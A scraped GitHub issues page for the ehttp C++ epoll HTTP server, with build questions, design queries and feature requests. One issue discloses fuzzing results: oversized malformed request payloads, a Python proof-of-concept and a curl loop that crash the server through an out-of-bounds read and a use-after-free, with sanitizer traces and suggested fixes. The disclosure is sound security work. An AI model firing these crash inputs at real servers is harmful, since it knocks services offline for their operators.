GithubHelp home page GithubHelp logo

hongliuliao / ehttp Goto Github PK

View Code? Open in Web Editor NEW
317.0 20.0 107.0 2.24 MB

simple http server base on epoll

License: Apache License 2.0

Makefile 3.49% C++ 95.70% HTML 0.29% C 0.07% Shell 0.25% Python 0.21%
epoll c-plus-plus http server json microservices

ehttp's People

Contributors

hongliuliao avatar zlyang avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ehttp's Issues

spurious wakeup?

void* ThreadPool::execute_thread() {
Task *task;

while(true) {
    ...............................................................................................
    m_task_mutex.lock();


    while ((m_pool_state != STOPPED) && (m_tasks.empty())) {
        m_task_cond_var.wait(m_task_mutex.get_mutex_ptr());
        
    }
    .....................................................................................................
    task = m_tasks.front();
    m_tasks.pop_front();
    
    m_task_mutex.unlock();

    // execute the task
    .................................................................................
}

}
互斥区域就一个线程能进来,怎么会出现虚假唤醒?如果while改成if也没问题吧?

不支持多表单POST

multipart/form-data
input type="file" name="files" size="50"/
多个表单
input type="text" name="fileId" size="50"/
多表单提交时,解析出错

API封装得很漂亮!加油!

API封装得很漂亮!加油!
看到这个库,很简洁,感觉有抛弃nodejs的冲动了。
希望继续加油,完善!
如果能支持多平台,支持mingw编译就更好了。

undefined reference to `pthread_join'

@hongliuliao 非常感谢开源这么好的项目,我把编译成功后的ehttp给其他项目使用时cmake编译一直卡在下面(编译环境ubuntu16.04,Threads库在其他项目中运行正常):
/home/suneliw/Downloads/ehttp/output/lib/libehttp.a(http_server.o): In function HttpServer::start_async()': /home/suneliw/Downloads/ehttp/src/http_server.cpp:107: undefined reference to pthread_create'

cmake文件如下:
cmake_minimum_required (VERSION 2.8)
project(httpserver LANGUAGES CXX)
set(CMAKE_VERBOSE_MAKEFILE ON)
set(EHTTP_PATH "/home/suneliw/Downloads/ehttp")
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g -Wall")
find_package(Threads)
include_directories(${EHTTP_PATH}/output/include)
include_directories(${EHTTP_PATH}/deps/http-parser)
link_libraries(${CMAKE_THREAD_LIBS_INIT})
link_libraries(${EHTTP_PATH}/output/lib/libehttp.a)
link_libraries(${EHTTP_PATH}/deps/http-parser/libhttp_parser.a)
link_libraries(${EHTTP_PATH}/deps/json-cpp/output/lib/libjson_libmt.a)
link_libraries(${EHTTP_PATH}/deps/multipart-parser-c/multipart_parser.o)
add_executable(httpserver src/httpserver.cpp)

cmake结果如下:
-- Check for working CXX compiler: /usr/bin/g++-7
-- Check for working CXX compiler: /usr/bin/g++-7 -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
Build type: Release
-- Looking for C++ include pthread.h
-- Looking for C++ include pthread.h - found
-- Looking for pthread_create
-- Looking for pthread_create - not found
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Configuring done
-- Generating done

请问会是哪里的问题呢?

提个建议:增加 tcp_server

个人基于自身IOT应用场景提出的建议。
增加 tcp_server ,使得:

  1. 同一个 tcp_server 可以监听多个端口,并且在客户卡链接回调的API中正确区分出是接入哪个端口和客户端的身份;
  2. tcp_server 和 http_server 可以相互不阻塞运行在同一进程里面<同一 mian()>;

为什么add_client(epoll_context);要加互斥锁?

int EpollSocket::add_client(EpollContext *ctx) {
pthread_mutex_lock(&_client_lock);
_clients++;
_eclients[ctx->_id] = ctx;
pthread_mutex_unlock(&_client_lock);
return 0;
}
这段代码不涉及到多线程情况,为什么要加锁?

Possible Mac OS compatibility?

Hi

The current version looks great, but it only compiles on Linux machines, is it possible to add Mac OSX support which use Kqueue?

Thanks

CMake Support

Hi,

Although Makefile is fine a project with minimal dependency CMake is nice to have feature.
Do you have plan to add CMake support.

Thanks

WSL+Ubuntu16.04 x64 内存泄露?

### 测试环境
Win10 + WSL + Ubuntu16.04 x64 + cmake
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

g++ (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

cmake version 3.14.5

CMake suite maintained and supported by Kitware (kitware.com/cmake).

### 测试方法
测试两个对象都用了同样的方法,结果如图所示
STEP1:使用TCP客户端(如网络助手)连接服务器;
STEP2:客户端不发如何数据,并且主动断开;
SETP3:问题必现;

### 测试对象1:http_multi_thread_demo.cpp
2019-08-14_9-12-29

### 测试对象2:issue5_server.cpp
5-1
5-2

问题都发生在read_func()的线程任务里面;

localtime unthreadsafe question && some bugs fixed sugestions

你好!
本来打算使用这个库的,看封装的例程很简单方便。不过,简单阅读了一下源码,发现实现了日志系统。刚好我也自己实现了一个功能和代码规模和你相当的日志系统。于是对比了一下,发现有两个严重的问题,提出来给你参考一下。
1、localtime函数非线程安全的,多线程并发会crash的,标准说法是:线程不可重入;换成localtime_r函数可以解决;
2、日志api是需要支持多线程大并发的,这里使用互斥锁会严重降低性能的,所以并发测试关闭了日志,提升了性能也掩盖了问题1;建议你可以绕过这个同步问题,使用一个本地udp socket就可以解决的;sendto函数是多线程安全的;recvfrom和write函数一个线程即可,都不用加锁,并发量大了最多也就是丢日志报文。(当然,你也可以改进成不丢日志的可靠通信。)

重复发送条件信号?

int ThreadPool::destroy_threadpool() {
................................................................
m_task_cond_var.broadcast();

int ret = -1;
for (int i = 0; i < m_pool_size; i++) {
    void* result;
    ret = pthread_join(m_threads[i], &result);
  ............................................................................
    m_task_cond_var.broadcast(); 
}
................................................................
return m_tasks.size();

}
销毁线程池为何重复发送broadcast?

Memory Corruption Bugs

Hi!

When executing my fuzz tests I discovered a few bugs at the following locations:

  • Out-of-bounds-read in void _log at simple_log.cpp:221
  • Use-after-free in read_func(void*) at epoll_socket.cpp:234

Out-of-bounds-read in void _log at simple_log.cpp:221 when sending a malformed HTTP method, large url, or large HTTP header value to the server

ehttp/src/simple_log.cpp

Lines 219 to 223 in 716ff7a

void _log(const char *format, va_list ap) {
if (!use_file_appender) { // if no config, send log to stdout
vprintf(format, ap);
printf("\n");
return;

Below are a few examples:

Malformed HTTP Method

GETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGET /

Malformed URL

GET /hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello

I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the out-of-bounds-read:

Makefile modifications

CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address

Compilation

 make && make test && ./output/test/hello_server 8080

Below is a proof of concept script named 'poc.py' to reproduce the issue:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8080))
sock.send(b"GET"*5000+b" /hello"*5000+b" HTTP/1.1\r\nHost:localhost:8080\r\n\r\n")
response = sock.recv(4096)
sock.close()

Executing the Python3 script

$ python3 poc.py

Address Sanitizer Output

==2308883==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0x7fdc638f3ce0 at pc 0x7fdc6889109c bp 0x7fdc638f2040 sp 0x7fdc638f1800
READ of size 4097 at 0x7fdc638f3ce0 thread T3                              
    #0 0x7fdc6889109b in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553                                              
    #1 0x7fdc6889189a in __interceptor_vprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1738                                            
    #2 0x559614bebecd in _log(char const*, __va_list_tag*) src/simple_log.cpp:221                                                                                              
    #3 0x559614bec870 in log_debug(char const*, ...) src/simple_log.cpp:290
    #4 0x559614bdf2a1 in Request::parse_request(char const*, int) src/sim_parser.cpp:580
    #5 0x559614bc75bc in HttpEpollWatcher::on_readable(int&, epoll_event&) src/http_server.cpp:296
    #6 0x559614bf59c0 in EpollSocket::handle_readable_event(epoll_event&) src/epoll_socket.cpp:247
    #7 0x559614bf5703 in read_func(void*) src/epoll_socket.cpp:230
    #8 0x559614beddd9 in Task::run() src/threadpool.cpp:19                    
    #9 0x559614beefa7 in ThreadPool::execute_thread() src/threadpool.cpp:159
    #10 0x559614bee10c in ss_start_thread src/threadpool.cpp:48                     
    #11 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444                                                                                                               
    #12 0x7fdc68326a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
                                                                                       
Address 0x7fdc638f3ce0 is located in stack of thread T3                             
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:                                                 
  0x7fdc638f3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fdc638f3c80: 00 00 00 00 00 00 00 00 00 00 00 00[cb]cb cb cb
  0x7fdc638f3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fdc638f3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
Thread T3 created by T1 here:
    #0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
    #1 0x559614bee436 in ThreadPool::start_threadpool() src/threadpool.cpp:70
    #2 0x559614bf74ba in EpollSocket::init_tp() src/epoll_socket.cpp:417
    #3 0x559614bf87b4 in EpollSocket::start_epoll() src/epoll_socket.cpp:514
    #4 0x559614bc539e in HttpServer::start_sync() src/http_server.cpp:132
    #5 0x559614bc5067 in http_start_routine(void*) src/http_server.cpp:102
    #6 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444

Thread T1 created by T0 here:
    #0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
    #1 0x559614bc50a1 in HttpServer::start_async() src/http_server.cpp:107
    #2 0x559614bc0d99 in main test/hello_server.cpp:112
    #3 0x7fdc682456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

==2308883==ABORTING

Potential Fix

A potential fix for this would be to check the size of the format/arg passed to int vprintf ( const char * format, va_list arg );


Heap use-after-free in read_func(void*) at epoll_socket.cpp:234

ehttp/src/epoll_socket.cpp

Lines 228 to 237 in 716ff7a

void read_func(void *data) {
TaskData *td = (TaskData *) data;
td->es->handle_readable_event(td->event);
EpollContext *hc = (EpollContext *) td->event.data.ptr;
if (hc != NULL) {
hc->_ctx_status = CONTEXT_READ_OVER;
}
delete td;
}

Similar to above, I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the use-after-free bug:

Makefile modifications

CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address

Compilation

 make && make test && ./output/test/issue5_server 1234

Sending multiple consecutive connections to the server results in a use-after-free bug

After running the script below, wait around ~30-60 seconds and the server will crash.

$ while true; do curl http://localhost:1234/; done 
use-after-free-fuzz.mp4

Address Sanitizer Output


==131898==ERROR: AddressSanitizer: heap-use-after-free on address 0x607001a34440 at pc 0x55999cd1a37f bp 0x7f44178fddd0 sp 0x7f44178fddc8                                      
WRITE of size 4 at 0x607001a34440 thread T2                                                                                                                                    
    #0 0x55999cd1a37e in read_func(void*) src/epoll_socket.cpp:234                     
    #1 0x55999cd25201 in Task::run() src/threadpool.cpp:19               
    #2 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
    #3 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48                                                                                                                 
    #4 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444                        
    #5 0x7f441b126a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81          
                                                                                                                                                                               
0x607001a34440 is located 64 bytes inside of 72-byte region [0x607001a34400,0x607001a34448)                                                                                    
freed by thread T3 here:                                                               
    #0 0x7f441b6da008 in operator delete(void*, unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:164                                                       
    #1 0x55999cd1dd7c in EpollSocket::close_and_release(epoll_event&) src/epoll_socket.cpp:571                                                                                 
    #2 0x55999cd1aa19 in EpollSocket::handle_writeable_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:275                                                 
    #3 0x55999cd189d2 in write_func(void*) src/epoll_socket.cpp:74                                                                                                             
    #4 0x55999cd25201 in Task::run() src/threadpool.cpp:19                             
    #5 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159           
    #6 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48                                                                                                                 
    #7 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444                        
                                                                                       
previously allocated by thread T0 here:                                                
    #0 0x7f441b6d9108 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95                                                                  
    #1 0x55999cd19c6b in EpollSocket::create_client(int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) src/epoll_socket.cpp:191      
    #2 0x55999cd19eed in EpollSocket::handle_accept_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:209                                                    
    #3 0x55999cd1bc20 in EpollSocket::handle_event(epoll_event&) src/epoll_socket.cpp:386                                                                                      
    #4 0x55999cd1d0cc in EpollSocket::start_event_loop() src/epoll_socket.cpp:491                                                                                              
    #5 0x55999cd1d5c7 in EpollSocket::start_epoll() src/epoll_socket.cpp:526           
    #6 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132              
    #7 0x55999cceb270 in main test/issue5/issue5_server.cpp:78                         
    #8 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58                                                                                      
                                                                                       
Thread T2 created by T0 here:                                                          
    #0 0x7f441b647c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208                                                              
    #1 0x55999cd2585e in ThreadPool::start_threadpool() src/threadpool.cpp:70          
    #2 0x55999cd1c080 in EpollSocket::init_tp() src/epoll_socket.cpp:417               
    #3 0x55999cd1d37a in EpollSocket::start_epoll() src/epoll_socket.cpp:514
    #4 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132 
    #5 0x55999cceb270 in main test/issue5/issue5_server.cpp:78                                                                                                                 
    #6 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58                                                                                      
                                                                                                                                                                               
SUMMARY: AddressSanitizer: heap-use-after-free src/epoll_socket.cpp:234 in read_func(void*)                                                                                    
Shadow bytes around the buggy address:                                                 
  0x607001a34180: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd        
  0x607001a34200: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd           
  0x607001a34280: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa                                                                                                              
  0x607001a34300: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa                      
  0x607001a34380: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa                      
=>0x607001a34400: fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fd fd                                                                                                              
  0x607001a34480: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd                                                                                                              
  0x607001a34500: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd                      
  0x607001a34580: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd                                                                                                              
  0x607001a34600: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa                                                                                                              
  0x607001a34680: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa                                                                                                              
Shadow byte legend (one shadow byte represents 8 application bytes):                                                                                                           
  Addressable:           00                                                            
  Partially addressable: 01 02 03 04 05 06 07                                          
  Heap left redzone:       fa                                                                                                                                                  
  Freed heap region:       fd                                                          
  Stack left redzone:      f1                                                          
  Stack mid redzone:       f2                                                          
  Stack right redzone:     f3                                                                                                                                                  
  Stack after return:      f5                                                                                                                                                  
  Stack use after scope:   f8                                                                                                                                                  
  Global redzone:          f9                                                                                                                                                  
  Global init order:       f6                                                                                                                                                  
  Poisoned by user:        f7                                                          
  Container overflow:      fc                                                          
  Array cookie:            ac                                                          
  Intra object redzone:    bb                                                                                                                                                  
  ASan internal:           fe                                                          
  Left alloca redzone:     ca                                                          
  Right alloca redzone:    cb                                                                                                                                                  
==131898==ABORTING                                

Potential Fix

A potential fix for this bug would be to set the pointers to NULL once they are freed. I believe the pointer of interest is the following:

  • EpollContext *hc = (EpollContext *)

References

Quick questions

Hi Liao,

When I initialize the server and I go to http://localhost:3456/hello(or whatever), debug log shows like below.

DEBUG src/epoll_socket.cpp(178): server: got connection from 127.0.0.1
DEBUG src/epoll_socket.cpp(211): get accept socket which listen fd:6, conn_sock_fd:8
DEBUG src/epoll_socket.cpp(444): find idle client but is reading, skip it!
DEBUG src/epoll_socket.cpp(178): server: got connection from 127.0.0.1
DEBUG src/epoll_socket.cpp(211): get accept socket which listen fd:6, conn_sock_fd:9
DEBUG src/epoll_socket.cpp(444): find idle client but is reading, skip it!

why the server accepts two connections although I just go into the website only once?

add_mapping等几个疑问

@hongliuliao 你好,我又来了,有几个疑问请教你:
1、http_server.add_mapping()方法有3个重载,区别在于第二个参数,有method_handler_ptr、json_handler_ptr、HttpJsonHandler,这几个有什么设计用意吗?
2、有没有方法在add_mapping()的时候加上我们的自定义参数传递?
3、有些静态资源文件比如图片等能不能实现直接访问?
希望不吝赐教,非常感谢!

Directory path is not valid

In make and test, It says
$ make && make test && ./output/bin/hello_server 3456
$ curl "localhost:3456/hello"

